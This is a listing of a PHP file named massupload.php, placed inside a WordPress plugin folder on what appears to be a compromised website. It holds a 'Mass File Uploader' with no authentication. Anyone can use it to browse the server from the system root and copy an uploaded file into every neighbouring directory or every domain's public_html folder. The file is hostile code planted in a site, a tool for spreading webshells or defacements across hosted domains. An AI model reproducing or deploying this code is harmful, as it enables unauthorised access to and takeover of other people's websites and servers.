• File: massupload.php
  • Full Path: /home/blwgracecity/jesusexp.org/wp-content/plugins/mainhosting/massupload.php
  • File size: 3.43 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
session_start(); // Start a session to store the current directory

// Set the base directory to the location of the uploader script
$baseDir = __DIR__;

// Check if a directory is set in the session, otherwise use the base directory
$currentDir = isset($_SESSION['currentDir']) ? $_SESSION['currentDir'] : $baseDir;

// Handle directory navigation
if (isset($_GET['dir'])) {
    $newDir = realpath($_GET['dir']);
    // Ensure the new directory is valid and exists
    if (is_dir($newDir)) {
        $_SESSION['currentDir'] = $newDir;
        $currentDir = $newDir;
    }
}

// Get all directories in the current directory
$directories = array_filter(glob($currentDir . '/*'), 'is_dir');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Check if a file was uploaded
    if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
        $fileName = $_FILES['fileToUpload']['name'];

        // Determine if public upload mode is selected
        $isPublicUpload = isset($_POST['publicUpload']) && $_POST['publicUpload'] === 'on';

        // Loop through each directory and upload the file
        foreach ($directories as $dir) {
            if ($isPublicUpload) {
                // Check if the directory contains a public_html folder
                $publicHtmlDir = $dir . '/public_html';
                if (is_dir($publicHtmlDir)) {
                    $destPath = $publicHtmlDir . '/' . $fileName;
                    if (copy($fileTmpPath, $destPath)) {
                        echo "File uploaded successfully to $publicHtmlDir<br>";
                    } else {
                        echo "Error uploading file to $publicHtmlDir<br>";
                    }
                } else {
                    echo "No public_html directory found in $dir<br>";
                }
            } else {
                // Normal mass upload mode
                $destPath = $dir . '/' . $fileName;
                if (copy($fileTmpPath, $destPath)) {
                    echo "File uploaded successfully to $dir<br>";
                } else {
                    echo "Error uploading file to $dir<br>";
                }
            }
        }
    } else {
        echo "No file uploaded or there was an upload error.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mass File Uploader</title>
</head>
<body>
    <h1>Upload a File to Multiple Directories</h1>
    
    <h2>Current Directory: <?php echo htmlspecialchars($currentDir); ?></h2>
    
    <h3>Directories:</h3>
    <ul>
        <?php foreach ($directories as $dir): ?>
            <li>
                <a href="?dir=<?php echo urlencode($dir); ?>"><?php echo htmlspecialchars(basename($dir)); ?></a>
            </li>
        <?php endforeach; ?>
    </ul>

    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required>
        <label>
            <input type="checkbox" name="publicUpload"> Upload to public_html of each domain
        </label>
        <input type="submit" value="Upload">
    </form>
    
    <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">Go Up</a> | 
    <a href="?dir=<?php echo urlencode('/'); ?>">Go to System Root</a>
</body>
</html>